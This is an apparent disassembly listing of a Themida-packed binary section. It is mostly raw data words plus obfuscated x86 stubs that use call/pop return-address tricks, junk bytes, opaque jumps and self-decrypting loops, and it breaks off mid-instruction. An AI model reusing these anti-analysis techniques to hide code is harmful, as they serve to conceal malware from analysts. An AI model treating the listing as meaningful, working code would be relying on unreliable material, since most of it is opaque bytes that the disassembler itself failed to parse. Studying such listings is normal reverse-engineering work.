83FCE083h, 858904E8h, 6120505h dd 8914428Bh, 121BD985h, 18428B06h, 0B0E953h, 0B5FF0000h dd 6122BF1h, 0B9E9h, 2DB5FF00h, 0E906121Dh, 0AEh, 1B85B5FFh dd 0A3E90612h, 0FF000000h, 121FC9B5h, 98E906h, 0B5FF0000h dd 6120CD1h, 8DE9h, 0B9B5FF00h, 0E906122Dh, 82h, 2D69B5FFh dd 77E90612h, 0FF000000h, 123119B5h, 6CE906h, 0B5FF0000h dd 6122A69h, 61E9h, 49B5FF00h, 0E906122Ah, 56h, 2C81B5FFh dd 4BE90612h, 0FF000000h, 122381B5h, 40E906h, 0B5FF0000h dd 612268Dh, 35E9h, 0DB5FF00h, 0E9061205h, 2Ah, 6ADB5FFh dd 1FE90612h, 0FF000000h, 1213DDB5h, 14E906h, 0D88B0000h dd 0BB8h, 0E3F76600h, 1E488D8Dh, 0C8030619h, 95FFE1FFh dd 6121B31h, 0A1858B5Bh, 39061209h, 850F0458h, 0Fh, 0FF016A53h dd 1219CD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h dd 8BE0FF77h, 12237185h, 368D8D06h, 8906191Fh, 0C38B0141h dd 13E8h, 4F7EFF00h, 0CFEB56D2h, 38E895B7h, 7F2047F1h dd 4D3DB53h, 56575BF9h, 5E595E50h, 5D1BC381h, 11E90000h dd 29000000h, 7D92055Eh, 4EE7E3Ch, 584FE41Bh, 55173A7Dh dd 3C8BD22Bh, 0EE913h, 805B0000h, 0CE710366h, 6A609B8Ah dd 113B6469h, 9993F781h, 1DB4193Fh, 5E4CEF81h, 870F3F15h dd 3, 815CEC80h, 0C6CF52F7h, 8157F522h, 7E2A30D1h, 13048F33h dword_5B89E0 dd 0DE9h ; DATA XREF: Themida_:0054D5B3r ; Themida_:0054D618r ... dd 0B643CE00h, 767591BDh, 3F88BF60h, 800F9012h, 18h, 10E8h dd 8C7DA200h, 0D39A04BFh, 0F16C7455h, 9A0E27F3h, 59CE8AA5h dd 0A493EA81h, 0E5800CF4h, 8FC281C4h, 0F0CF4A4h, 0FA81C8B7h dd 0FFFFA3A8h, 0FF74850Fh, 0CE8BFFFFh, 28E9h, 83D8F900h dd 4Ah, 8 dup(0) dd 518E900h, 53680000h, 0E9061921h, 0FFF95FA9h, 1921C668h dd 5F9FE906h, 6368FFF9h, 0E9061923h, 0FFF95F95h, 7C1A8679h dd 902E988Ch, 0A846A8A0h, 0BE5CC2B8h, 0D371D9CEh, 0A4990B66h dd 0B7AE9E3Ch, 0CCC5B553h, 0E4DECE6Ch, 88E9E886h, 227EF17h dd 99EBFE76h, 0AFB21A0Fh, 3A1FFF9h, 3E66D760h, 4D6FE907h dd 151895FFh, 0E85AE38Eh, 2018C3CDh, 0F2E2ABEh, 566D943h dd 8469FBAEh, 0B6E23336h, 0EE75FBB6h, 0A613515h, 51DE302Ah dd 331h, 62D35CF7h, 6FE9073Ah, 4F89F341h, 0E1606BE0h, 36B6036h dd 9D0E99h, 1169FB2Fh, 1E8F18C3h, 75FB2FF6h, 0B0AF170Ch dd 0CB1EF862h, 989E8926h, 14BF4249h, 7253C6A3h, 8689D765h dd 4941202Bh, 922A9287h, 4B41398Fh, 31A24DE5h, 67608AB0h dd 72E50F59h, 0B6022A9Bh, 0BB096B60h, 9886F827h, 6048FF27h dd 28C00E6Bh, 150FE590h, 2F2919B7h, 8DF4DFD1h, 5E417DD3h dd 341B9h, 36F6200h, 17817565h, 2F918979h, 45ABA191h, 5AC2B7A7h dd 82F04FBCh, 9787258Dh, 0AE9E3CA0h, 0C7B755B5h, 0D2D16FCDh dd 28D80071h, 0D4E77602h, 0E0636A82h, 2779C435h, 0A61869F0h dd 38D31CAAh, 22016B11h, 5E5329D4h, 736858F6h, 5D56B2ABh dd 37B60C0Ah, 2B9C47DFh, 7602E903h, 2124BC0Ah, 30DBB1D0h dd 0B696396h, 64B3A819h, 0E98E717Fh, 2CEh, 0D876E2D5h dd 0EC8AF4E8h, 4A204FCh, 1AB81E14h, 2FCD352Ah, 0F567C2h dd 130AFA98h, 282111AFh, 403A2AC8h, 0E44544E2h, 2284B73h dd 0ED3F5276h, 3A62D35Ch, 416FE907h, 10C89F3h, 1B66D782h dd 6A69F027h, 0DAB0191Ch, 267C7FE3h, 0E2C8AB92h, 60CAD19Fh dd 213C1EDh, 7EDED776h, 6BCDC57Bh, 668EFF68h, 75760213h dd 0E8C88127h, 0EACAA379h, 368ABF16h, 1C706DEh, 5CAC0000h dd 73A62D3h, 53486FE9h, 349EECEBh, 104625Ch, 55F3514Bh dd 8B36CDC0h, 0FB1E5D1Ah, 1B1E6C69h, 0FB229ECAh, 1DFDD675h dd 2F99F249h, 1911E7DEh, 64FC6057h, 68A10B61h, 48h, 9FEA5C0Eh dd 0D46CEBFh, 10C89F3h, 6566D782h, 0A469FBE2h, 0B122AB56h dd 75FBCD89h, 0F5D84290h, 97A038Ch, 75FBCDE1h, 0DF079AE8h dd 0F575FBCDh, 4B999800h, 0CD426EE1h, 0A17A75FBh, 4096EDC1h dd 0E8DDDE30h, 83000000h, 0CB7150Fh, 44D84236h, 1351C08h dd 0E9CC3687h, 0D3D63E33h, 389E946Ah, 9D75DF35h, 8C4245A3h dd 76E0D492h, 0B7B540DEh, 0AA6FE95Ch, 6588B021h, 49976FE9h dd 0AF0D07DFh, 0C0372E04h, 0E965274Fh, 50E8366Fh, 0F8DF74Dh dd 4A72E36Ch, 516FE965h, 111C9903h, 1B11E792h, 0F25CB2B5h dd 0C56F667h, 67B569FEh, 76F1E6BCh, 0FDFCDD05h, 0F39EEC75h dd 0FDFC5A82h, 7B136175h, 28B13ADDh, 0FDFC8FB7h, 0BD509E75h dd 75FDFC95h, 4E4DB7ABh, 0C9BE9600h, 0DB486F61h, 0DABD7335h dd 13135h, 137F7200h, 27918575h, 3FA19989h, 55BBB1A1h dd 6AD2C7B7h, 92005FCCh, 0A797359Dh, 0BEAE4CB0h, 0D7C765C5h dd 0E2E17FDDh, 2AE81081h, 0E4F77602h, 0B21A0F92h, 0CC2A2414h dd 91028B2Eh, 6FE90769h, 0AB902670h, 0FF6854C9h, 0FC1FD67h dd 0FEB4B715h, 6508A604h, 886ED3F3h, 69FD5F44h, 284AF811h dd 76F35D82h, 0D041EC77h, 69FBAAF7h, 4CAAA47Ah, 0AA89F349h dd 0E6DBB15Ch, 5061D37Eh, 49ABA3AFh, 612F96B5h, 7710967h dd 0F9D2FE89h, 0EEE875FBh, 0D02F290h, 0C739A2A5h, 438CC4DFh dd 0C58CF6EAh, 8Eh, 38EA5C73h, 0B5130DF7h, 8538D221h, 18AF9E1Bh dd 776C0799h, 19D17B0Fh, 0D647F28Ah, 69F06497h, 0FC6568B6h dd 24DA0273h, 0C4357602h, 7602249Ch, 85655A3h, 6ECCC69Eh dd 0A1C93AC3h, 0AF760224h, 85655B7h, 3630209Eh, 0AD95F0DCh dd 42DA05ADh, 0D4B2EE3Fh, 0F1E8298Dh, 0BF05C91h, 0EF877FDCh dd 0DB3F36ECh, 0DBBB74D8h, 3616CD6Ch, 710F6D67h, 26298781h dd 11147A70h, 4C1BFBBAh, 6656F452h, 52B8AE6Ch db 0BAh dword_5B8EA1 dd 312B7h ; DATA XREF: Themida_:loc_54AA70r db 2 dup(0), 0C0h dd 1C0F5995h, 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h dd 0B5AA6063h, 9E944A4Dh, 877F3538h, 786C2225h, 524D0B0Eh dd 0BF57E289h, 4F940F49h, 55B5EF81h, 0EF811622h, 3971B990h dd 835FFA01h, 148704EAh, 21685C24h, 8900005Fh, 0E568241Ch dd 89000007h, 4BB242Ch, 431B726Bh, 370DBE56h, 0D6F75628h dd 0DEF7EED1h, 3DB7CE81h, 0C6816F3Eh, 7061087Ch, 59D4F681h dd 0F321286Ah, 16EB815Eh, 813D973Dh, 0C1E385F3h, 2C8B54D3h dd 4C48324h, 8904EC83h, 8B82404h, 1000000h, 581889E8h dd 5D2434FFh, 4C481h, 1C8B0000h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 0F95AA8E9h, 280DD3FFh, 38723A16h, 909DCABBh dd 0B9B8A38Eh, 3061924h, 4DE0FFC5h, 286BEE4Ch, 5668F528h dd 0A17FFAE7h, 0B63307DAh, 931A2CCAh, 5943DA08h, 0D520A04Bh dd 8354C871h, 5F7BF11Bh, 0AB6EF1BDh, 0D925A95Dh, 6F084B83h dd 84A364Bh, 3C44D52Eh, 0DB34A76Dh, 4A186FB6h, 6F054CA0h dd 7328B4B8h, 0F722EF55h, 3E388945h, 9F047180h, 0D53AEBACh dd 2979B663h, 256FB1B1h, 0FF446831h, 9F1AE277h, 0AC745E49h dd 550ADF1Ah, 0F77B6FE8h, 801BCEEFh, 8D1E2E3Eh, 1926B58Dh dd 91B58B06h, 8906122Fh, 1209A18Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0BBD72ADFh dd 0B19D018Bh, 0C7061228h, 12050585h, 6A1806h, 85C7F800h dd 6121BD9h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5B9057 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9057 proc near ; CODE XREF: Themida_:005B904Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5B9057 endp ; --------------------------------------------------------------------------- std mov ecx, 7A56E3F4h mov [ecx], ebx fisubr dword ptr [ebp-1] mov ch, 0DDh adc edx, [edx] push es push 0 push ecx call sub_5B9082 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9082 proc near ; CODE XREF: Themida_:005B907Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5B9082 endp ; --------------------------------------------------------------------------- dw 3F43h dd 0CAABDA27h, 0E5CB4FEDh, 1B3195FFh, 6A0612h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8B663FC3h, 0FDEE80F8h, 95FF006Ah, 61219CDh, 18EBC08Bh dd 10DC31B9h, 26883064h, 0C73288BCh, 345203D9h, 0AD830398h dd 2578BB96h, 8E8h, 30EB0100h, 0EF95BCE9h, 0F1958905h dd 5906121Fh, 0A810Fh, 66600000h, 45D4DF81h, 61CAF580h dd 6CCDC181h, 0BA660000h, 0C02B5654h, 1B65BD89h, 34FF0612h dd 58E0F08h, 0BA000000h, 36A48D35h, 5E85Bh, 20FF0000h dd 0F114E87h, 281h, 5AF08B00h, 1DC0C381h, 85891055h, 6122359h dd 3148C381h, 8F0F027Bh, 6, 9559D89h, 0EB810612h, 64582F3Eh dd 5510BE66h, 0D18B6653h, 0E901048Fh, 0Ch, 94D76D4Dh, 0FE7CE4EAh dd 43BA0BFCh, 8B03E883h, 0F88148F3h, 0FFFF93D8h, 0FF8C850Fh dd 0BA66FFFFh, 10E97ACCh, 0E4000000h, 621EF8h, 2 dup(0) dd 0E9000000h, 509h, 0AC4AB6A9h, 0C05EC8BCh, 0D876D8D0h dd 0EE8CF2E8h, 3A109FEh, 0D4C93B96h, 0E7DECE6Ch, 0FCF5E583h dd 140EFE9Ch, 0B81918B6h, 22E1F47h, 0C91B2E76h, 6357150Fh dd 0A85E61F9h, 0BDAD4BB3h, 0F96265C3h, 3EA49A70h, 2A52E53Bh dd 386FE907h, 90DEDD41h, 0F6544E26h, 0DF493DF3h, 0E8C87FDCh dd 23C11F19h, 3CDA3A33h, 48F3534Ch, 11147E72h, 0B86E51BBh dd 35A5DC1h, 9C956444h, 0F1A58440h, 5BF37540h, 75D3CDBDh dd 39330972h, 0D1FE71DBh, 806FE9B2h, 0AD1309DFh, 0EEC2A243h dd 0D81E2597h, 58DEh, 35C33500h, 0B8B66AEEh, 0F4581EBh dd 63B4B715h, 6FE90739h, 794D2DE4h, 0D81D7B22h, 169h, 1B0F0F00h dd 3C3006B1h, 7264EBFh, 0E7356FE9h, 9902E54Fh, 7779F10h dd 38866FE9h, 9802F6CEh, 5C2017EDh, 0FC66FE68h, 76D6319h dd 10F0A704h, 45E34D41h, 5FFD5B55h, 0B21A0F0Bh, 9B05F9AFh dd 0E3C37C98h, 0CB71F14h, 0D7DA4036h, 0A9991781h, 34A651AFh dd 3B777FC2h, 1F026C6Ah, 0C0F7169h, 0EBBF9F78h, 0D81E2FA4h dd 7ECBh, 1A0F7100h, 0D446AFB2h, 49BB668Eh, 0C0980215h dd 0E5BB66C8h, 3D208AEEh, 2C2F8D87h, 0BEB88276h, 6F075D60h dd 0B797506Ch, 12F2A948h, 48E64E43h, 0F8FB6358h, 0E3E64C42h dd 0C296764Fh, 0D81E4F7Bh, 22807A50h, 265FC91Fh, 56h, 0B21A0FCCh dd 0D83C3107h, 58613124h, 9730BC4h, 17777026h, 1695E14h dd 0EC5248FEh, 3414CDE9h, 0A67C1FC5h, 3DDE48B2h, 0F05DB5Dh dd 72673FA9h, 5C186C0Ah, 2B2E8C86h, 9F936BD5h, 0B4E13235h dd 656FE907h, 0A3FACEAEh, 98D81D7Ah, 6AC8C2h, 1C7h, 170F6D00h dd 6ED8CCA2h, 0E907B3DBh, 0EA70BA6Fh, 0B2F99FDFh, 241A12AAh dd 97B26BEh, 0E5A423F3h, 432690CFh, 0AA0C04DAh, 106E6840h dd 17F7B60Dh, 43EE5048h, 212149BAh, 0DA286FE9h, 6E5DF270h dd 169F28D3h, 0E9217DA5h, 0D43E8C6Fh, 0FB460861h, 0C0C31169h dd 14B2100Ah, 0C9CC2A24h, 0FB3E4E78h, 860FB275h, 0FB3EED15h dd 0AA0A0375h, 85251A7h, 0A20A7953h, 0A337CFD0h, 0C07944C2h dd 6809733Eh, 61BFB988h, 7BD9D3C3h, 0A002FAD0h, 14EA5336h dd 62B8BB1Bh, 0CC2620F8h, 0FC872CD2h, 0C0FA70Ah, 885737F0h dd 9D92308Eh, 0DE306946h, 12B8Dh, 636A3300h, 7BC435E0h dd 0C269FB34h, 0C1BB7174h, 0DBD5C563h, 94214F81h, 0E2383B9Bh dd 97B5E24Eh, 4C46FCFFh, 3F35EBEEh, 0FC6DD6D9h, 75FB78D4h dd 9E958DDBh, 1AD3373Ah, 0B46DCB3Ah, 867C52D4h, 0E4DEB620h dd 34CC2E26h, 0EC4AA196h, 4D91DE2Fh, 37000000h, 31DC6F6Ah dd 16F9B8C0h, 36398710h, 0E906BDE5h, 6E4EC7EFh, 0C16CFFFAh dd 69FC738h, 0C319EFE9h, 54F87473h, 0EA54A2A1h, 87E6EE5Fh dd 17899016h, 0B77D88CEh, 9B7AE463h, 0DCECAB51h, 665B218Ah dd 0DA5FBFEh, 8DF8D775h, 0A6000000h, 87E4636Ah, 0F225B681h dd 0FE96F8F0h, 0AAAD0D06h, 0A011BC54h, 69FB438Bh, 93494C9Ah dd 7DE7DB99h, 5D5747E5h, 0BD93FCFFh, 83F660C8h, 75FB3B64h dd 5154BAB0h, 3C4F77E8h, 105E75FBh, 0BABD2118h, 0DA61004h dd 59FF6E4Eh, 0F7F1C0A0h, 6766FB99h, 655B31DCh, 990A95FFh dd 700256F0h, 3FA8ABF9h, 191D45B6h, 3E336FF4h, 7E7DD3D6h dd 0F4EEC630h, 7D3C9396h, 9F22299Dh, 33DA83F4h, 95E369FBh dd 5ACB54F7h, 75FB3C32h, 4581EB39h, 35E0636Ah, 0B9553AACh dd 0AE42ACA0h, 3FA9EFFCh, 0F05C23CCh, 84F57E69h, 7602245Ch dd 241E46B7h, 0DF2D7602h, 492892E0h, 0C9A892FFh, 1FB74C8Ch dd 41A99E74h, 9B7EE83Eh, 0EF8DEBE5h, 0A4A705FFh, 87C5F53h dd 9BFDF512h, 86ECE298h, 8D6D2C83h, 0E8C87F1Eh, 16C11F19h dd 0E0E34B40h, 0B2A2208Ah, 0A1575AB8h, 0EB4245ABh, 58CA4C2Ch dd 103F3A0Ah, 544B4365h, 0B4AE86F0h, 9A9DFDF6h, 1E0EAC44h dd 1EC3C624h, 3, 0F5995CCh, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h dd 4D0B0E78h, 452268h, 240C8900h, 0C181E189h, 4, 8704E983h dd 685C240Ch, 7958h, 68240489h, 56B6h, 51241489h, 455E168h dd 7BB85908h, 310E1D72h, 8B5459C8h, 0C4812414h, 4, 24048150h dd 3F640AC1h, 5108428Fh, 8118D9B9h, 2CC98136h, 8137F320h dd 94173AC1h, 8FC18179h, 814E4B7Bh, 1920A6F1h, 4DC9815Ch dd 812C0772h, 6BF0ACE9h, 84A2970h, 24148B59h, 81E38953h dd 4C3h, 4C38300h, 5C241C87h, 5024048Bh, 405E089h, 83000000h dd 48704C0h, 6AE95C24h, 24FFF953h, 3BF74600h, 0B68F13BAh dd 46AA7FE1h, 2BF2B859h, 0C5030619h, 0CBB9E0FFh, 56924023h dd 26894000h, 0D5E1616Eh, 7448544Ch, 18090FE7h, 398D63A0h dd 67A72E32h, 27E97B03h, 9DC92E10h, 7286439Eh, 4E450CE0h dd 7A927755h, 12BD3234h, 5554690h, 263E2A9Bh, 0DEED6A51h dd 9B7B28FCh, 0CA007E04h, 4E771F49h, 0CAF45115h, 491402Fh dd 226E4F0Ah, 4C7776Ah, 0AB85139Dh, 0AA22617h, 0A8775F48h dd 98A62765h, 0CCA738AEh, 36F8546Bh, 2232E35h, 0AD6F1124h dd 0CE823A5h, 97000000h, 0C5C72EB9h, 0CB6EAD0Bh, 5BB90DCAh dd 7677C981h, 0C3817D9Dh, 60B6h, 4830Fh, 0B0600000h, 0F62B6127h dd 0E880Fh, 0F600000h, 8Ah, 0F2E88100h, 6115C7FFh, 0E81E34FFh dd 14h, 8CDC143h, 11E5416Ah, 3D263B83h, 0A4411B4Fh, 0B556D4EAh dd 6880Fh, 8C0F0000h, 0 ; --------------------------------------------------------------------------- pop ecx pop edi push esi pusha jmp loc_5B97C4 ; --------------------------------------------------------------------------- db 93h, 31h, 96h dd 9311D537h, 1C2EACE2h, 9A23B5CDh, 37A17998h ; --------------------------------------------------------------------------- loc_5B97C4: ; CODE XREF: Themida_:005B97ACj mov dx, si popa pop eax sub edi, 3FF703D8h sub edx, 18E98169h xor edi, 50C27CBDh add ax, 976Ah add edi, 74660353h mov cx, 0C49Bh push edi mov dl, ah pop dword ptr [ebx+esi] push ecx adc dx, 0BCC8h pop edx jmp loc_5B9806 ; --------------------------------------------------------------------------- dd 9A8EA95Dh, 33AF6225h db 0DEh, 3Dh ; --------------------------------------------------------------------------- loc_5B9806: ; CODE XREF: Themida_:005B97F7j sub esi, 4 ja loc_5B9813 mov ax, 5D78h loc_5B9813: ; CODE XREF: Themida_:005B9809j cmp esi, 0FFFFA070h jnz loc_5B9857 call sub_5B9829 lock mov cl, 26h ; --------------------------------------------------------------------------- db 0DBh db 24h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5B9829 proc near ; CODE XREF: Themida_:005B981Fp jmp sub_5B9840 sub_5B9829 endp ; --------------------------------------------------------------------------- dw 0AB6Eh ; --------------------------------------------------------------------------- sahf push cs ror ecx, cl fcom dword ptr [esi+5DADA8F8h] xor [eax-72AE135Eh], edi ; =============== S U B R O U T I N E ======================================= sub_5B9840 proc near ; CODE XREF: sub_5B9829j pop edx jmp loc_5B9871 ; --------------------------------------------------------------------------- dw 0BA87h dd 415C5A07h, 75028567h, 5D98BE19h ; --------------------------------------------------------------------------- push cs sal al, 1 loc_5B9857: ; CODE XREF: Themida_:005B9819j mov dx, cx jmp near ptr dword_5B91A8+5D8h ; --------------------------------------------------------------------------- db 0BCh dd 0F470AFA9h, 822D09A8h, 66C935Bh, 0AF66549Ch db 0B7h ; --------------------------------------------------------------------------- loc_5B9871: ; CODE XREF: sub_5B9840+1j call sub_5B9888 enter 0FFFFCD04h, 8Dh mov ds:69F57B20h, eax mov ebp, 8809DFAh inc edi shr ecx, 53h sub_5B9840 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B9888 proc near ; CODE XREF: sub_5B9840:loc_5B9871p stc pop esi jmp loc_5B989C ; --------------------------------------------------------------------------- db 0DCh dd 0FBDFF5B9h, 240F08D8h, 0A8A3D579h ; --------------------------------------------------------------------------- loc_5B989C: ; CODE XREF: sub_5B9888+2j add esi, 5A9Ah jl loc_5B98AA mov al, 10h loc_5B98AA: ; CODE XREF: sub_5B9888+1Aj push 0 or ecx, 619E4B1Ch pop edi jmp loc_5B98C3 ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- ror dword ptr [ebx-1DD34830h], cl aas loc_5B98C3: ; CODE XREF: sub_5B9888+2Ej ; sub_5B9888+C5j mov edx, [esi+edi] jnb loc_5B98D5 jz loc_5B98D5 movsx ebx, di loc_5B98D5: ; CODE XREF: sub_5B9888+3Ej ; sub_5B9888+44j xor edx, 4A4F8EC8h push ebx jmp loc_5B98E9 ; --------------------------------------------------------------------------- db 98h, 0E8h, 0A5h dd 0C090EF3Ah ; --------------------------------------------------------------------------- lodsb loc_5B98E9: ; CODE XREF: sub_5B9888+54j pop ecx sub edx, 30F557C6h jmp loc_5B98FC ; --------------------------------------------------------------------------- test edi, 1EF0B7C4h xchg eax, edi loc_5B98FC: ; CODE XREF: sub_5B9888+68j add edx, 58C375BEh mov al, 0B7h mov [esi+edi], edx mov cx, ax add ebx, 7E49B981h sub edi, 5B264DADh adc eax, 709D2E5Fh add edi, 5B264DA9h mov ecx, 0EE75AB3h cmp edi, 0FFFFA648h jnz loc_5B9948 mov ebx, 76F0EF83h jmp loc_5B995C ; --------------------------------------------------------------------------- db 10h, 0FEh, 28h dd 37F18811h, 3C8C0C46h ; --------------------------------------------------------------------------- loc_5B9948: ; CODE XREF: sub_5B9888+A5j mov ecx, 31AAF774h jmp loc_5B98C3 ; --------------------------------------------------------------------------- dw 5DBAh dd 794C30E8h, 6EF24B6Dh ; --------------------------------------------------------------------------- loc_5B995C: ; CODE XREF: sub_5B9888+B0j call near ptr loc_5B9966+3 wait dec ebx nop in al, dx pop ds assume ds:___ loc_5B9966: ; CODE XREF: sub_5B9888:loc_5B995Cp mov ds:0BF66D0D9h, al sub_5B9888 endp ; sp-analysis failed lodsd ; --------------------------------------------------------------------------- dd 0C3815B8Fh, 66AAh, 0F6337AB5h, 10E9h, 84593000h, 0EFD5DDBEh dd 20D8A3C5h, 0EB73A366h, 33048B8Ah, 912FBF66h, 4DFCE881h dd 8B661C06h, 8DC081D0h, 0B60F1B20h, 7CF08114h, 661576BCh dd 2E1FE181h, 50330489h, 14E8h, 380D6300h, 15D4BF5Ch, 0A52955A6h dd 3D5D921h, 0E901416Eh, 5F595393h, 0FE95Ah, 491E0000h dd 0CEA5746Ch, 5B010336h, 0F340BF68h, 1EE8344h, 0CE8h dd 0AA9EAF00h, 79D9FD7Fh, 0B3F3730h, 0D3B70F3Fh, 4E4E4E59h dd 81E7C280h, 0FF9A24FEh, 12850FFFh, 66000000h, 1CE9D78Bh dd 62000000h, 9D04981Fh, 0FD9CE5BAh, 3258BFE8h, 62E94A8Ah dd 0BAFFFFFFh, 9F55242Bh, 8BE659A2h, 91BD83C0h, 6121Bh dd 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h, 421h, 858589h dd 9D8D0612h, 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h dd 0B8535017h, 421h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh dd 9D8BC08Bh, 6120895h, 287185C6h, 68560612h, 9CA8B852h dd 30E9B5FFh, 858D0612h, 6157F35h, 46AD0FFh, 100068h, 89B5FF00h dd 6A061223h, 85D0FF00h, 0D850FC0h, 0B8000000h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+6127277h] jmp ecx ; --------------------------------------------------------------------------- mov ecx, eax mov eax, ebx add eax, [eax+3Ch] add eax, 0F8h mov edx, [eax+0Ch] add edx, ebx cmp dword ptr [ebp+6122AA1h], 0 jz loc_5B9AF4 mov ebx, [ebp+6122AA1h] mov eax, [ebp+6121949h] mov [ebx], eax loc_5B9AF4: ; CODE XREF: Themida_:005B9AE0j push ecx push edx lea eax, [ebp+6127B68h] call eax mov edi, edx mov esi, ecx mov edx, ecx mov ecx, eax rep movsb mov byte ptr [ebp+6122871h], 56h push 0D41F6D39h push dword ptr [ebp+61230E9h] lea eax, [ebp+6157F35h] call eax push 8000h push 0 push edx call eax mov eax, eax cmp dword ptr [ebp+6121B91h], 0 jnz short loc_5B9B40 cmp dword ptr [ebp+61217DDh], 0 jz short loc_5B9B59 loc_5B9B40: ; CODE XREF: Themida_:005B9B35j push eax push ebx mov eax, eax mov eax, 421h mov [ebp+6122295h], eax lea ebx, [ebp+614AE76h] call ebx pop ebx pop eax loc_5B9B59: ; CODE XREF: Themida_:005B9B3Ej cmp dword ptr [ebp+61217DDh], 0 jz short loc_5B9B79 push eax push ebx mov eax, 421h mov [ebp+6122295h], eax lea ebx, [ebp+614AB17h] call ebx pop ebx pop eax loc_5B9B79: ; CODE XREF: Themida_:005B9B60j mov eax, eax lea ebx, [ebp+6122AA1h] mov eax, [ebx] or eax, eax jz loc_5B9B92 mov eax, [ebx] mov ebx, [ebx+4] mov [eax], ebx loc_5B9B92: ; CODE XREF: Themida_:005B9B85j mov eax, 4B41h call near ptr loc_5B9BA0+3 ; CODE XREF: sub_5B9C21-22j aas pop esp mov ah, 0CDh loc_5B9BA0: ; CODE XREF: Themida_:005B9B97p mov ebp, 5A57EEF6h pop ecx adc eax, 7BF6E08Eh add ecx, 0E893h mov ax, 0EF30h mov edi, 5342DC96h add edi, 0ACBD5D57h mov dx, 0F3DBh ; START OF FUNCTION CHUNK FOR sub_5B9C21 loc_5B9BC5: ; CODE XREF: sub_5B9C21+46j mov ebx, [ecx] push ecx pop eax sub ebx, 7ABC028Ch jns loc_5B9BEB jmp loc_5B9BEB ; END OF FUNCTION CHUNK FOR sub_5B9C21 ; --------------------------------------------------------------------------- dw 372Dh dd 2B665812h, 32094700h, 59F66EDEh db 92h, 69h, 3Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B9C21 loc_5B9BEB: ; CODE XREF: sub_5B9C21-52j ; sub_5B9C21-4Cj add ebx, 43C3D489h mov dx, di sub ebx, 0A731F2Bh call sub_5B9C0F jz short near ptr loc_5B9B97+4 arpl [esi-1Fh], bp pop es retf ; END OF FUNCTION CHUNK FOR sub_5B9C21 ; --------------------------------------------------------------------------- dw 0D61Dh dd 9F3F2B13h db 0ECh, 3Ch, 0DFh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5B9C0F proc near ; CODE XREF: sub_5B9C21-27p jmp near ptr sub_5B9C21 sub_5B9C0F endp ; --------------------------------------------------------------------------- jmp short loc_5B9C6F ; --------------------------------------------------------------------------- dw 3FDh dd 8B0C7316h, 46E524FBh db 0C2h ; =============== S U B R O U T I N E ======================================= sub_5B9C21 proc far ; CODE XREF: sub_5B9C0Fj ; FUNCTION CHUNK AT 005B9BC5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005B9BEB SIZE 0000001B BYTES pop eax push ebx pusha movzx ebx, bx sub esi, 6D217E3Bh popa pop dword ptr [ecx] mov esi, 723EBA37h sub ecx, 4 mov eax, 3CBA7A4Bh sub edi, 1 jnz loc_5B9C64 sbb si, 0A26Eh jmp loc_5B9C7F ; --------------------------------------------------------------------------- db 38h dd 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0B93D0081h ; --------------------------------------------------------------------------- loc_5B9C64: ; CODE XREF: sub_5B9C21+22j movzx edx, dx jmp loc_5B9BC5 ; --------------------------------------------------------------------------- db 7Bh, 0Bh, 4Bh ; --------------------------------------------------------------------------- loc_5B9C6F: ; CODE XREF: Themida_:005B9C14j and [ebx-241333FDh], dl call far ptr 14B8h:0E3167360h jnp short near ptr loc_5B9C85+2 out dx, al loc_5B9C7F: ; CODE XREF: sub_5B9C21+2Dj lea ebx, [ebp+61208F1h] loc_5B9C85: ; CODE XREF: sub_5B9C21+5Bj mov eax, 1434h mov [ebp+612143Dh], eax call $+5 pop eax add eax, 0Dh mov [ebx], eax jmp loc_5BB0D6 ; --------------------------------------------------------------------------- align 4 dd 50Ch dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5BB0D6: ; CODE XREF: sub_5B9C21+7Cj lea ecx, [ebp+619475Bh] mov ebx, edi movzx ebx, ax mov [ebp+61209A1h], ecx push 0 push ecx call sub_5BB0F2 and [ecx-3Dh], bl sub_5B9C21 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BB0F2 proc near ; CODE XREF: sub_5B9C21+14C9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5BB0F2 endp ; --------------------------------------------------------------------------- dw 8BB8h ; --------------------------------------------------------------------------- mov edi, 12050585h push es adc [edi+0], bl add cl, ch or eax, 0C6000000h mov esi, 0E8408E2Fh cmp eax, 0C1B7CB11h jns short near ptr loc_5BB121+8 loc_5BB121: ; CODE XREF: Themida_:005BB11Fj mov dword ptr [ebp+6121BD9h], 0 mov edi, [ebp+6121D9Dh] push dword ptr [ebp+6122BF1h] push 0 push eax call sub_5BB142 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB142 proc near ; CODE XREF: Themida_:005BB13Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5BB142 endp ; --------------------------------------------------------------------------- pop ds das pop ecx imul ecx, [ecx+35h], 